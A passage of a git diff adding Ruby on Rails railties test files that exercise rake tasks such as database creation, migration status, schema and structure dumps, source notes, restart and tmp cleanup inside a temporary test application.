+        db_create_and_drop database_url_db_name
+      end
+
+      def with_database_existing
+        Dir.chdir(app_path) do
+          set_database_url
+          `bin/rails db:create`
+          yield
+          `bin/rails db:drop`
+        end
+      end
+
+      test "db:create failure because database exists" do
+        with_database_existing do
+          output = `bin/rails db:create 2>&1`
+          assert_match(/already exists/, output)
+          assert_equal 0, $?.exitstatus
+        end
+      end
+
+      def with_bad_permissions
+        Dir.chdir(app_path) do
+          set_database_url
+          FileUtils.chmod("-w", "db")
+          yield
+          FileUtils.chmod("+w", "db")
+        end
+      end
+
+      test "db:create failure because bad permissions" do
+        with_bad_permissions do
+          output = `bin/rails db:create 2>&1`
+          assert_match(/Couldn't create database/, output)
+          assert_equal 1, $?.exitstatus
+        end
+      end
+
+      test "db:drop failure because database does not exist" do
+        Dir.chdir(app_path) do
+          output = `bin/rails db:drop:_unsafe --trace 2>&1`
+          assert_match(/does not exist/, output)
+          assert_equal 0, $?.exitstatus
+        end
+      end
+
+      test "db:drop failure because bad permissions" do
+        with_database_existing do
+          with_bad_permissions do
+            output = `bin/rails db:drop 2>&1`
+            assert_match(/Couldn't drop/, output)
+            assert_equal 1, $?.exitstatus
+          end
+        end
+      end
+
+      def db_migrate_and_status(expected_database)
+        Dir.chdir(app_path) do
+          `bin/rails generate model book title:string;
+           bin/rails db:migrate`
+          output = `bin/rails db:migrate:status`
+          assert_match(%r{database:\s+\S*#{Regexp.escape(expected_database)}}, output)
+          assert_match(/up\s+\d{14}\s+Create books/, output)
+        end
+      end
+
+      test "db:migrate and db:migrate:status without database_url" do
+        require "#{app_path}/config/environment"
+        db_migrate_and_status ActiveRecord::Base.configurations[Rails.env]["database"]
+      end
+
+      test "db:migrate and db:migrate:status with database_url" do
+        require "#{app_path}/config/environment"
+        set_database_url
+        db_migrate_and_status database_url_db_name
+      end
+
+      def db_schema_dump
+        Dir.chdir(app_path) do
+          `bin/rails generate model book title:string;
+           bin/rails db:migrate db:schema:dump`
+          schema_dump = File.read("db/schema.rb")
+          assert_match(/create_table \"books\"/, schema_dump)
+        end
+      end
+
+      test "db:schema:dump without database_url" do
+        db_schema_dump
+      end
+
+      test "db:schema:dump with database_url" do
+        set_database_url
+        db_schema_dump
+      end
+
+      def db_fixtures_load(expected_database)
+        Dir.chdir(app_path) do
+          `bin/rails generate model book title:string;
+           bin/rails db:migrate db:fixtures:load`
+          assert_match expected_database, ActiveRecord::Base.connection_config[:database]
+          require "#{app_path}/app/models/book"
+          assert_equal 2, Book.count
+        end
+      end
+
+      test "db:fixtures:load without database_url" do
+        require "#{app_path}/config/environment"
+        db_fixtures_load ActiveRecord::Base.configurations[Rails.env]["database"]
+      end
+
+      test "db:fixtures:load with database_url" do
+        require "#{app_path}/config/environment"
+        set_database_url
+        db_fixtures_load database_url_db_name
+      end
+
+      test "db:fixtures:load with namespaced fixture" do
+        require "#{app_path}/config/environment"
+        Dir.chdir(app_path) do
+          `bin/rails generate model admin::book title:string;
+           bin/rails db:migrate db:fixtures:load`
+          require "#{app_path}/app/models/admin/book"
+          assert_equal 2, Admin::Book.count
+        end
+      end
+
+      def db_structure_dump_and_load(expected_database)
+        Dir.chdir(app_path) do
+          `bin/rails generate model book title:string;
+           bin/rails db:migrate db:structure:dump`
+          structure_dump = File.read("db/structure.sql")
+          assert_match(/CREATE TABLE (?:IF NOT EXISTS )?\"books\"/, structure_dump)
+          `bin/rails environment db:drop db:structure:load`
+          assert_match expected_database, ActiveRecord::Base.connection_config[:database]
+          require "#{app_path}/app/models/book"
+          #if structure is not loaded correctly, exception would be raised
+          assert_equal 0, Book.count
+        end
+      end
+
+      test "db:structure:dump and db:structure:load without database_url" do
+        require "#{app_path}/config/environment"
+        db_structure_dump_and_load ActiveRecord::Base.configurations[Rails.env]["database"]
+      end
+
+      test "db:structure:dump and db:structure:load with database_url" do
+        require "#{app_path}/config/environment"
+        set_database_url
+        db_structure_dump_and_load database_url_db_name
+      end
+
+      test "db:structure:dump does not dump schema information when no migrations are used" do
+        Dir.chdir(app_path) do
+          # create table without migrations
+          `bin/rails runner 'ActiveRecord::Base.connection.create_table(:posts) {|t| t.string :title }'`
+
+          stderr_output = capture(:stderr) { `bin/rails db:structure:dump` }
+          assert_empty stderr_output
+          structure_dump = File.read("db/structure.sql")
+          assert_match(/CREATE TABLE (?:IF NOT EXISTS )?\"posts\"/, structure_dump)
+        end
+      end
+
+      test "db:schema:load and db:structure:load do not purge the existing database" do
+        Dir.chdir(app_path) do
+          `bin/rails runner 'ActiveRecord::Base.connection.create_table(:posts) {|t| t.string :title }'`
+
+          app_file "db/schema.rb", <<-RUBY
+            ActiveRecord::Schema.define(version: 20140423102712) do
+              create_table(:comments) {}
+            end
+          RUBY
+
+          list_tables = lambda { `bin/rails runner 'p ActiveRecord::Base.connection.tables'`.strip }
+
+          assert_equal '["posts"]', list_tables[]
+          `bin/rails db:schema:load`
+          assert_equal '["posts", "comments", "schema_migrations", "ar_internal_metadata"]', list_tables[]
+
+          app_file "db/structure.sql", <<-SQL
+            CREATE TABLE "users" ("id" INTEGER PRIMARY KEY AUTOINCREMENT NOT NULL, "name" varchar(255));
+          SQL
+
+          `bin/rails db:structure:load`
+          assert_equal '["posts", "comments", "schema_migrations", "ar_internal_metadata", "users"]', list_tables[]
+        end
+      end
+
+      test "db:schema:load with inflections" do
+        Dir.chdir(app_path) do
+          app_file "config/initializers/inflection.rb", <<-RUBY
+            ActiveSupport::Inflector.inflections do |inflect|
+              inflect.irregular 'goose', 'geese'
+            end
+          RUBY
+          app_file "config/initializers/primary_key_table_name.rb", <<-RUBY
+            ActiveRecord::Base.primary_key_prefix_type = :table_name
+          RUBY
+          app_file "db/schema.rb", <<-RUBY
+            ActiveRecord::Schema.define(version: 20140423102712) do
+              create_table("goose".pluralize) do |t|
+                t.string :name
+              end
+            end
+          RUBY
+
+          `bin/rails db:schema:load`
+
+          tables = `bin/rails runner 'p ActiveRecord::Base.connection.tables'`.strip
+          assert_match(/"geese"/, tables)
+
+          columns = `bin/rails runner 'p ActiveRecord::Base.connection.columns("geese").map(&:name)'`.strip
+          assert_equal columns, '["gooseid", "name"]'
+        end
+      end
+
+      test "db:schema:load fails if schema.rb doesn't exist yet" do
+        Dir.chdir(app_path) do
+          stderr_output = capture(:stderr) { `bin/rails db:schema:load` }
+          assert_match(/Run `rails db:migrate` to create it/, stderr_output)
+        end
+      end
+
+      def db_test_load_structure
+        Dir.chdir(app_path) do
+          `bin/rails generate model book title:string;
+           bin/rails db:migrate db:structure:dump db:test:load_structure`
+          ActiveRecord::Base.configurations = Rails.application.config.database_configuration
+          ActiveRecord::Base.establish_connection :test
+          require "#{app_path}/app/models/book"
+          #if structure is not loaded correctly, exception would be raised
+          assert_equal 0, Book.count
+          assert_match ActiveRecord::Base.configurations["test"]["database"],
+            ActiveRecord::Base.connection_config[:database]
+        end
+      end
+
+      test "db:test:load_structure without database_url" do
+        require "#{app_path}/config/environment"
+        db_test_load_structure
+      end
+
+      test "db:setup loads schema and seeds database" do
+        begin
+          @old_rails_env = ENV["RAILS_ENV"]
+          @old_rack_env = ENV["RACK_ENV"]
+          ENV.delete "RAILS_ENV"
+          ENV.delete "RACK_ENV"
+
+          app_file "db/schema.rb", <<-RUBY
+            ActiveRecord::Schema.define(version: "1") do
+              create_table :users do |t|
+                t.string :name
+              end
+            end
+          RUBY
+
+          app_file "db/seeds.rb", <<-RUBY
+            puts ActiveRecord::Base.connection_config[:database]
+          RUBY
+
+          Dir.chdir(app_path) do
+            database_path = `bin/rails db:setup`
+            assert_equal "development.sqlite3", File.basename(database_path.strip)
+          end
+        ensure
+          ENV["RAILS_ENV"] = @old_rails_env
+          ENV["RACK_ENV"] = @old_rack_env
+        end
+      end
+    end
+  end
+end
diff --git a/railties/test/application/rake/dev_test.rb b/railties/test/application/rake/dev_test.rb
new file mode 100644
index 0000000000..4f992d9c8d
--- /dev/null
+++ b/railties/test/application/rake/dev_test.rb
@@ -0,0 +1,43 @@
+require "isolation/abstract_unit"
+
+module ApplicationTests
+  module RakeTests
+    class RakeDevTest < ActiveSupport::TestCase
+      include ActiveSupport::Testing::Isolation
+
+      def setup
+        build_app
+      end
+
+      def teardown
+        teardown_app
+      end
+
+      test "dev:cache creates file and outputs message" do
+        Dir.chdir(app_path) do
+          output = `rails dev:cache`
+          assert File.exist?("tmp/caching-dev.txt")
+          assert_match(/Development mode is now being cached/, output)
+        end
+      end
+
+      test "dev:cache deletes file and outputs message" do
+        Dir.chdir(app_path) do
+          `rails dev:cache` # Create caching file.
+          output = `rails dev:cache` # Delete caching file.
+          assert_not File.exist?("tmp/caching-dev.txt")
+          assert_match(/Development mode is no longer being cached/, output)
+        end
+      end
+
+      test "dev:cache removes server.pid also" do
+        Dir.chdir(app_path) do
+          FileUtils.mkdir_p("tmp/pids")
+          FileUtils.touch("tmp/pids/server.pid")
+          `rails dev:cache`
+          assert_not File.exist?("tmp/pids/server.pid")
+        end
+      end
+    end
+  end
+end
diff --git a/railties/test/application/rake/framework_test.rb b/railties/test/application/rake/framework_test.rb
new file mode 100644
index 0000000000..40488a6aab
--- /dev/null
+++ b/railties/test/application/rake/framework_test.rb
@@ -0,0 +1,46 @@
+require "isolation/abstract_unit"
+
+module ApplicationTests
+  module RakeTests
+    class FrameworkTest < ActiveSupport::TestCase
+      include ActiveSupport::Testing::Isolation
+
+      def setup
+        build_app
+        FileUtils.rm_rf("#{app_path}/config/environments")
+      end
+
+      def teardown
+        teardown_app
+      end
+
+      def load_tasks
+        require "rake"
+        require "rdoc/task"
+        require "rake/testtask"
+
+        Rails.application.load_tasks
+      end
+
+      test "requiring the rake task should not define method .app_generator on Object" do
+        require "#{app_path}/config/environment"
+
+        load_tasks
+
+        assert_raise NameError do
+          Object.method(:app_generator)
+        end
+      end
+
+      test "requiring the rake task should not define method .invoke_from_app_generator on Object" do
+        require "#{app_path}/config/environment"
+
+        load_tasks
+
+        assert_raise NameError do
+          Object.method(:invoke_from_app_generator)
+        end
+      end
+    end
+  end
+end
diff --git a/railties/test/application/rake/log_test.rb b/railties/test/application/rake/log_test.rb
new file mode 100644
index 0000000000..fdd3c71fe8
--- /dev/null
+++ b/railties/test/application/rake/log_test.rb
@@ -0,0 +1,33 @@
+require "isolation/abstract_unit"
+
+module ApplicationTests
+  module RakeTests
+    class LogTest < ActiveSupport::TestCase
+      include ActiveSupport::Testing::Isolation
+
+      def setup
+        build_app
+      end
+
+      def teardown
+        teardown_app
+      end
+
+      test "log:clear clear all environments log files by default" do
+        Dir.chdir(app_path) do
+          File.open("config/environments/staging.rb", "w")
+
+          File.write("log/staging.log", "staging")
+          File.write("log/test.log", "test")
+          File.write("log/dummy.log", "dummy")
+
+          `rails log:clear`
+
+          assert_equal 0, File.size("log/test.log")
+          assert_equal 0, File.size("log/staging.log")
+          assert_equal 5, File.size("log/dummy.log")
+        end
+      end
+    end
+  end
+end
diff --git a/railties/test/application/rake/migrations_test.rb b/railties/test/application/rake/migrations_test.rb
new file mode 100644
index 0000000000..51dfe2ef98
--- /dev/null
+++ b/railties/test/application/rake/migrations_test.rb
@@ -0,0 +1,304 @@
+require "isolation/abstract_unit"
+
+module ApplicationTests
+  module RakeTests
+    class RakeMigrationsTest < ActiveSupport::TestCase
+      def setup
+        build_app
+        FileUtils.rm_rf("#{app_path}/config/environments")
+      end
+
+      def teardown
+        teardown_app
+      end
+
+      test "running migrations with given scope" do
+        Dir.chdir(app_path) do
+          `bin/rails generate model user username:string password:string`
+
+          app_file "db/migrate/01_a_migration.bukkits.rb", <<-MIGRATION
+            class AMigration < ActiveRecord::Migration::Current
+            end
+          MIGRATION
+
+          output = `bin/rails db:migrate SCOPE=bukkits`
+          assert_no_match(/create_table\(:users\)/, output)
+          assert_no_match(/CreateUsers/, output)
+          assert_no_match(/add_column\(:users, :email, :string\)/, output)
+
+          assert_match(/AMigration: migrated/, output)
+
+          output = `bin/rails db:migrate SCOPE=bukkits VERSION=0`
+          assert_no_match(/drop_table\(:users\)/, output)
+          assert_no_match(/CreateUsers/, output)
+          assert_no_match(/remove_column\(:users, :email\)/, output)
+
+          assert_match(/AMigration: reverted/, output)
+        end
+      end
+
+      test "migration with empty version" do
+        Dir.chdir(app_path) do
+          output = `bin/rails db:migrate VERSION= 2>&1`
+          assert_match(/Empty VERSION provided/, output)
+
+          output = `bin/rails db:migrate:redo VERSION= 2>&1`
+          assert_match(/Empty VERSION provided/, output)
+
+          output = `bin/rails db:migrate:up VERSION= 2>&1`
+          assert_match(/VERSION is required/, output)
+
+          output = `bin/rails db:migrate:up 2>&1`
+          assert_match(/VERSION is required/, output)
+
+          output = `bin/rails db:migrate:down VERSION= 2>&1`
+          assert_match(/VERSION is required - To go down one migration, use db:rollback/, output)
+
+          output = `bin/rails db:migrate:down 2>&1`
+          assert_match(/VERSION is required - To go down one migration, use db:rollback/, output)
+        end
+      end
+
+      test "model and migration generator with change syntax" do
+        Dir.chdir(app_path) do
+          `bin/rails generate model user username:string password:string;
+           bin/rails generate migration add_email_to_users email:string`
+
+          output = `bin/rails db:migrate`
+          assert_match(/create_table\(:users\)/, output)
+          assert_match(/CreateUsers: migrated/, output)
+          assert_match(/add_column\(:users, :email, :string\)/, output)
+          assert_match(/AddEmailToUsers: migrated/, output)
+
+          output = `bin/rails db:rollback STEP=2`
+          assert_match(/drop_table\(:users\)/, output)
+          assert_match(/CreateUsers: reverted/, output)
+          assert_match(/remove_column\(:users, :email, :string\)/, output)
+          assert_match(/AddEmailToUsers: reverted/, output)
+        end
+      end
+
+      test "migration status when schema migrations table is not present" do
+        output = Dir.chdir(app_path) { `bin/rails db:migrate:status 2>&1` }
+        assert_equal "Schema migrations table does not exist yet.\n", output
+      end
+
+      test "migration status" do
+        Dir.chdir(app_path) do
+          `bin/rails generate model user username:string password:string;
+           bin/rails generate migration add_email_to_users email:string;
+           bin/rails db:migrate`
+
+          output = `bin/rails db:migrate:status`
+
+          assert_match(/up\s+\d{14}\s+Create users/, output)
+          assert_match(/up\s+\d{14}\s+Add email to users/, output)
+
+          `bin/rails db:rollback STEP=1`
+          output = `bin/rails db:migrate:status`
+
+          assert_match(/up\s+\d{14}\s+Create users/, output)
+          assert_match(/down\s+\d{14}\s+Add email to users/, output)
+        end
+      end
+
+      test "migration status without timestamps" do
+        add_to_config("config.active_record.timestamped_migrations = false")
+
+        Dir.chdir(app_path) do
+          `bin/rails generate model user username:string password:string;
+           bin/rails generate migration add_email_to_users email:string;
+           bin/rails db:migrate`
+
+          output = `bin/rails db:migrate:status`
+
+          assert_match(/up\s+\d{3,}\s+Create users/, output)
+          assert_match(/up\s+\d{3,}\s+Add email to users/, output)
+
+          `bin/rails db:rollback STEP=1`
+          output = `bin/rails db:migrate:status`
+
+          assert_match(/up\s+\d{3,}\s+Create users/, output)
+          assert_match(/down\s+\d{3,}\s+Add email to users/, output)
+        end
+      end
+
+      test "migration status after rollback and redo" do
+        Dir.chdir(app_path) do
+          `bin/rails generate model user username:string password:string;
+           bin/rails generate migration add_email_to_users email:string;
+           bin/rails db:migrate`
+
+          output = `bin/rails db:migrate:status`
+
+          assert_match(/up\s+\d{14}\s+Create users/, output)
+          assert_match(/up\s+\d{14}\s+Add email to users/, output)
+
+          `bin/rails db:rollback STEP=2`
+          output = `bin/rails db:migrate:status`
+
+          assert_match(/down\s+\d{14}\s+Create users/, output)
+          assert_match(/down\s+\d{14}\s+Add email to users/, output)
+
+          `bin/rails db:migrate:redo`
+          output = `bin/rails db:migrate:status`
+
+          assert_match(/up\s+\d{14}\s+Create users/, output)
+          assert_match(/up\s+\d{14}\s+Add email to users/, output)
+        end
+      end
+
+      test "migration status after rollback and forward" do
+        Dir.chdir(app_path) do
+          `bin/rails generate model user username:string password:string;
+           bin/rails generate migration add_email_to_users email:string;
+           bin/rails db:migrate`
+
+          output = `bin/rails db:migrate:status`
+
+          assert_match(/up\s+\d{14}\s+Create users/, output)
+          assert_match(/up\s+\d{14}\s+Add email to users/, output)
+
+          `bin/rails db:rollback STEP=2`
+          output = `bin/rails db:migrate:status`
+
+          assert_match(/down\s+\d{14}\s+Create users/, output)
+          assert_match(/down\s+\d{14}\s+Add email to users/, output)
+
+          `bin/rails db:forward STEP=2`
+          output = `bin/rails db:migrate:status`
+
+          assert_match(/up\s+\d{14}\s+Create users/, output)
+          assert_match(/up\s+\d{14}\s+Add email to users/, output)
+        end
+      end
+
+      test "raise error on any move when current migration does not exist" do
+        Dir.chdir(app_path) do
+          `bin/rails generate model user username:string password:string;
+           bin/rails generate migration add_email_to_users email:string;
+           bin/rails db:migrate
+           rm db/migrate/*email*.rb`
+
+          output = `bin/rails db:migrate:status`
+          assert_match(/up\s+\d{14}\s+Create users/, output)
+          assert_match(/up\s+\d{14}\s+\** NO FILE \**/, output)
+
+          output = `bin/rails db:rollback 2>&1`
+          assert_match(/rails aborted!/, output)
+          assert_match(/ActiveRecord::UnknownMigrationVersionError:/, output)
+          assert_match(/No migration with version number\s\d{14}\./, output)
+
+          output = `bin/rails db:migrate:status`
+          assert_match(/up\s+\d{14}\s+Create users/, output)
+          assert_match(/up\s+\d{14}\s+\** NO FILE \**/, output)
+
+          output = `bin/rails db:forward 2>&1`
+          assert_match(/rails aborted!/, output)
+          assert_match(/ActiveRecord::UnknownMigrationVersionError:/, output)
+          assert_match(/No migration with version number\s\d{14}\./, output)
+
+          output = `bin/rails db:migrate:status`
+          assert_match(/up\s+\d{14}\s+Create users/, output)
+          assert_match(/up\s+\d{14}\s+\** NO FILE \**/, output)
+        end
+      end
+
+      test "migration status after rollback and redo without timestamps" do
+        add_to_config("config.active_record.timestamped_migrations = false")
+
+        Dir.chdir(app_path) do
+          `bin/rails generate model user username:string password:string;
+           bin/rails generate migration add_email_to_users email:string;
+           bin/rails db:migrate`
+
+          output = `bin/rails db:migrate:status`
+
+          assert_match(/up\s+\d{3,}\s+Create users/, output)
+          assert_match(/up\s+\d{3,}\s+Add email to users/, output)
+
+          `bin/rails db:rollback STEP=2`
+          output = `bin/rails db:migrate:status`
+
+          assert_match(/down\s+\d{3,}\s+Create users/, output)
+          assert_match(/down\s+\d{3,}\s+Add email to users/, output)
+
+          `bin/rails db:migrate:redo`
+          output = `bin/rails db:migrate:status`
+
+          assert_match(/up\s+\d{3,}\s+Create users/, output)
+          assert_match(/up\s+\d{3,}\s+Add email to users/, output)
+        end
+      end
+
+      test "running migrations with not timestamp head migration files" do
+        Dir.chdir(app_path) do
+
+          app_file "db/migrate/1_one_migration.rb", <<-MIGRATION
+            class OneMigration < ActiveRecord::Migration::Current
+            end
+          MIGRATION
+
+          app_file "db/migrate/02_two_migration.rb", <<-MIGRATION
+            class TwoMigration < ActiveRecord::Migration::Current
+            end
+          MIGRATION
+
+          `bin/rails db:migrate`
+
+          output = `bin/rails db:migrate:status`
+
+          assert_match(/up\s+001\s+One migration/, output)
+          assert_match(/up\s+002\s+Two migration/, output)
+        end
+      end
+
+      test "schema generation when dump_schema_after_migration is set" do
+        add_to_config("config.active_record.dump_schema_after_migration = false")
+
+        Dir.chdir(app_path) do
+          `bin/rails generate model book title:string`
+          output = `bin/rails generate model author name:string`
+          version = output =~ %r{[^/]+db/migrate/(\d+)_create_authors\.rb} && $1
+
+          `bin/rails db:migrate db:rollback db:forward db:migrate:up db:migrate:down VERSION=#{version}`
+          assert !File.exist?("db/schema.rb"), "should not dump schema when configured not to"
+        end
+
+        add_to_config("config.active_record.dump_schema_after_migration = true")
+
+        Dir.chdir(app_path) do
+          `bin/rails generate model reviews book_id:integer`
+          `bin/rails db:migrate`
+
+          structure_dump = File.read("db/schema.rb")
+          assert_match(/create_table "reviews"/, structure_dump)
+        end
+      end
+
+      test "default schema generation after migration" do
+        Dir.chdir(app_path) do
+          `bin/rails generate model book title:string;
+           bin/rails db:migrate`
+
+          structure_dump = File.read("db/schema.rb")
+          assert_match(/create_table "books"/, structure_dump)
+        end
+      end
+
+      test "migration status migrated file is deleted" do
+        Dir.chdir(app_path) do
+          `bin/rails generate model user username:string password:string;
+           bin/rails generate migration add_email_to_users email:string;
+           bin/rails db:migrate
+           rm db/migrate/*email*.rb`
+
+          output = `bin/rails db:migrate:status`
+
+          assert_match(/up\s+\d{14}\s+Create users/, output)
+          assert_match(/up\s+\d{14}\s+\** NO FILE \**/, output)
+        end
+      end
+    end
+  end
+end
diff --git a/railties/test/application/rake/notes_test.rb b/railties/test/application/rake/notes_test.rb
new file mode 100644
index 0000000000..e7ffea2e71
--- /dev/null
+++ b/railties/test/application/rake/notes_test.rb
@@ -0,0 +1,168 @@
+require "isolation/abstract_unit"
+require "rails/source_annotation_extractor"
+
+module ApplicationTests
+  module RakeTests
+    class RakeNotesTest < ActiveSupport::TestCase
+      include ActiveSupport::Testing::Isolation
+
+      def setup
+        build_app
+        require "rails/all"
+        super
+      end
+
+      def teardown
+        super
+        teardown_app
+      end
+
+      test "notes finds notes for certain file_types" do
+        app_file "app/views/home/index.html.erb", "<% # TODO: note in erb %>"
+        app_file "app/assets/javascripts/application.js", "// TODO: note in js"
+        app_file "app/assets/stylesheets/application.css", "// TODO: note in css"
+        app_file "app/controllers/application_controller.rb", 1000.times.map { "" }.join("\n") << "# TODO: note in ruby"
+        app_file "lib/tasks/task.rake", "# TODO: note in rake"
+        app_file "app/views/home/index.html.builder", "# TODO: note in builder"
+        app_file "config/locales/en.yml", "# TODO: note in yml"
+        app_file "config/locales/en.yaml", "# TODO: note in yaml"
+        app_file "app/views/home/index.ruby", "# TODO: note in ruby"
+
+        run_rake_notes do |output, lines|
+          assert_match(/note in erb/, output)
+          assert_match(/note in js/, output)
+          assert_match(/note in css/, output)
+          assert_match(/note in rake/, output)
+          assert_match(/note in builder/, output)
+          assert_match(/note in yml/, output)
+          assert_match(/note in yaml/, output)
+          assert_match(/note in ruby/, output)
+
+          assert_equal 9, lines.size
+          assert_equal [4], lines.map(&:size).uniq
+        end
+      end
+
+      test "notes finds notes in default directories" do
+        app_file "app/controllers/some_controller.rb", "# TODO: note in app directory"
+        app_file "config/initializers/some_initializer.rb", "# TODO: note in config directory"
+        app_file "db/some_seeds.rb", "# TODO: note in db directory"
+        app_file "lib/some_file.rb", "# TODO: note in lib directory"
+        app_file "test/some_test.rb", 1000.times.map { "" }.join("\n") << "# TODO: note in test directory"
+
+        app_file "some_other_dir/blah.rb", "# TODO: note in some_other directory"
+
+        run_rake_notes do |output, lines|
+          assert_match(/note in app directory/, output)
+          assert_match(/note in config directory/, output)
+          assert_match(/note in db directory/, output)
+          assert_match(/note in lib directory/, output)
+          assert_match(/note in test directory/, output)
+          assert_no_match(/note in some_other directory/, output)
+
+          assert_equal 5, lines.size
+          assert_equal [4], lines.map(&:size).uniq
+        end
+      end
+
+      test "notes finds notes in custom directories" do
+        app_file "app/controllers/some_controller.rb", "# TODO: note in app directory"
+        app_file "config/initializers/some_initializer.rb", "# TODO: note in config directory"
+        app_file "db/some_seeds.rb", "# TODO: note in db directory"
+        app_file "lib/some_file.rb", "# TODO: note in lib directory"
+        app_file "test/some_test.rb", 1000.times.map { "" }.join("\n") << "# TODO: note in test directory"
+
+        app_file "some_other_dir/blah.rb", "# TODO: note in some_other directory"
+
+        run_rake_notes "SOURCE_ANNOTATION_DIRECTORIES='some_other_dir' bin/rails notes" do |output, lines|
+          assert_match(/note in app directory/, output)
+          assert_match(/note in config directory/, output)
+          assert_match(/note in db directory/, output)
+          assert_match(/note in lib directory/, output)
+          assert_match(/note in test directory/, output)
+
+          assert_match(/note in some_other directory/, output)
+
+          assert_equal 6, lines.size
+          assert_equal [4], lines.map(&:size).uniq
+        end
+      end
+
+      test "custom rake task finds specific notes in specific directories" do
+        app_file "app/controllers/some_controller.rb", "# TODO: note in app directory"
+        app_file "lib/some_file.rb", "# OPTIMIZE: note in lib directory\n" << "# FIXME: note in lib directory"
+        app_file "test/some_test.rb", 1000.times.map { "" }.join("\n") << "# TODO: note in test directory"
+
+        app_file "lib/tasks/notes_custom.rake", <<-EOS
+          require 'rails/source_annotation_extractor'
+          task :notes_custom do
+            tags = 'TODO|FIXME'
+            opts = { dirs: %w(lib test), tag: true }
+            SourceAnnotationExtractor.enumerate(tags, opts)
+          end
+        EOS
+
+        run_rake_notes "bin/rails notes_custom" do |output, lines|
+          assert_match(/\[FIXME\] note in lib directory/, output)
+          assert_match(/\[TODO\] note in test directory/, output)
+          assert_no_match(/OPTIMIZE/, output)
+          assert_no_match(/note in app directory/, output)
+
+          assert_equal 2, lines.size
+          assert_equal [4], lines.map(&:size).uniq
+        end
+      end
+
+      test "register a new extension" do
+        add_to_config "config.assets.precompile = []"
+        add_to_config %q{ config.annotations.register_extensions("scss", "sass") { |annotation| /\/\/\s*(#{annotation}):?\s*(.*)$/ } }
+        app_file "app/assets/stylesheets/application.css.scss", "// TODO: note in scss"
+        app_file "app/assets/stylesheets/application.css.sass", "// TODO: note in sass"
+
+        run_rake_notes do |output, lines|
+          assert_match(/note in scss/, output)
+          assert_match(/note in sass/, output)
+          assert_equal 2, lines.size
+        end
+      end
+
+      test "register additional directories" do
+        app_file "spec/spec_helper.rb", "# TODO: note in spec"
+        app_file "spec/models/user_spec.rb", "# TODO: note in model spec"
+        add_to_config ' config.annotations.register_directories("spec") '
+
+        run_rake_notes do |output, lines|
+          assert_match(/note in spec/, output)
+          assert_match(/note in model spec/, output)
+          assert_equal 2, lines.size
+        end
+      end
+
+      private
+
+        def run_rake_notes(command = "bin/rails notes")
+          boot_rails
+          load_tasks
+
+          Dir.chdir(app_path) do
+            output = `#{command}`
+            lines  = output.scan(/\[([0-9\s]+)\]\s/).flatten
+
+            yield output, lines
+          end
+        end
+
+        def load_tasks
+          require "rake"
+          require "rdoc/task"
+          require "rake/testtask"
+
+          Rails.application.load_tasks
+        end
+
+        def boot_rails
+          require "#{app_path}/config/environment"
+        end
+    end
+  end
+end
diff --git a/railties/test/application/rake/restart_test.rb b/railties/test/application/rake/restart_test.rb
new file mode 100644
index 0000000000..6ebd2d5461
--- /dev/null
+++ b/railties/test/application/rake/restart_test.rb
@@ -0,0 +1,47 @@
+require "isolation/abstract_unit"
+
+module ApplicationTests
+  module RakeTests
+    class RakeRestartTest < ActiveSupport::TestCase
+      include ActiveSupport::Testing::Isolation
+
+      def setup
+        build_app
+      end
+
+      def teardown
+        teardown_app
+      end
+
+      test "rails restart touches tmp/restart.txt" do
+        Dir.chdir(app_path) do
+          `bin/rails restart`
+          assert File.exist?("tmp/restart.txt")
+
+          prev_mtime = File.mtime("tmp/restart.txt")
+          sleep(1)
+          `bin/rails restart`
+          curr_mtime = File.mtime("tmp/restart.txt")
+          assert_not_equal prev_mtime, curr_mtime
+        end
+      end
+
+      test "rails restart should work even if tmp folder does not exist" do
+        Dir.chdir(app_path) do
+          FileUtils.remove_dir("tmp")
+          `bin/rails restart`
+          assert File.exist?("tmp/restart.txt")
+        end
+      end
+
+      test "rails restart removes server.pid also" do
+        Dir.chdir(app_path) do
+          FileUtils.mkdir_p("tmp/pids")
+          FileUtils.touch("tmp/pids/server.pid")
+          `bin/rails restart`
+          assert_not File.exist?("tmp/pids/server.pid")
+        end
+      end
+    end
+  end
+end
diff --git a/railties/test/application/rake/tmp_test.rb b/railties/test/application/rake/tmp_test.rb
new file mode 100644
index 0000000000..8423a98f84
--- /dev/null
+++ b/railties/test/application/rake/tmp_test.rb
@@ -0,0 +1,43 @@
+require "isolation/abstract_unit"
+
+module ApplicationTests
+  module RakeTests
+    class TmpTest < ActiveSupport::TestCase
+      include ActiveSupport::Testing::Isolation
+
+      def setup
+        build_app
+      end
+
+      def teardown
+        teardown_app
+      end
+
+      test "tmp:clear clear cache, socket and screenshot files" do
+        Dir.chdir(app_path) do
+          FileUtils.mkdir_p("tmp/cache")
+          FileUtils.touch("tmp/cache/cache_file")
+
+          FileUtils.mkdir_p("tmp/sockets")
+          FileUtils.touch("tmp/sockets/socket_file")
+
+          FileUtils.mkdir_p("tmp/screenshots")
+          FileUtils.touch("tmp/screenshots/fail.png")
+
+          `rails tmp:clear`
+
+          assert_not File.exist?("tmp/cache/cache_file")
+          assert_not File.exist?("tmp/sockets/socket_file")
+          assert_not File.exist?("tmp/screenshots/fail.png")
+        end
+      end
+
+      test "tmp:clear should work if folder missing" do
+        FileUtils.remove_dir("#{app_path}/tmp")
+        errormsg = Dir.chdir(app_path) { `bin/rails tmp:clear` }
+        assert_predicate $?, :success?
+        assert_empty errormsg
+      end
+    end
+  end
+end
diff --git a/railties/test/application/rake_test.rb b/railties/test/application/rake_test.rb
new file mode 100644
index 0000000000..134106812d
--- /dev/null
+++ b/railties/test/application/rake_test.rb
@@ -0,0 +1,395 @@
+require "isolation/abstract_unit"
+require "active_support/core_ext/string/strip"
+
+module ApplicationTests
+  class RakeTest < ActiveSupport::TestCase
+    include ActiveSupport::Testing::Isolation
+
+    def setup
+      build_app
+    end
+
+    def teardown
+      teardown_app
+    end
+
+    def test_gems_tasks_are_loaded_first_than_application_ones
+      app_file "lib/tasks/app.rake", <<-RUBY
+        $task_loaded = Rake::Task.task_defined?("db:create:all")
+      RUBY
+
+      require "#{app_path}/config/environment"
+      ::Rails.application.load_tasks
+      assert $task_loaded
+    end
+
+    test "task is protected when previous migration was production" do
+      Dir.chdir(app_path) do
+        output = `bin/rails generate model product name:string;
+         env RAILS_ENV=production bin/rails db:create db:migrate;
+         env RAILS_ENV=production bin/rails db:test:prepare test 2>&1`
+
+        assert_match(/ActiveRecord::ProtectedEnvironmentError/, output)
+      end
+    end
+
+    def test_not_protected_when_previous_migration_was_not_production
+      Dir.chdir(app_path) do
+        output = `bin/rails generate model product name:string;
+         env RAILS_ENV=test bin/rails db:create db:migrate;
+         env RAILS_ENV=test bin/rails db:test:prepare test 2>&1`
+
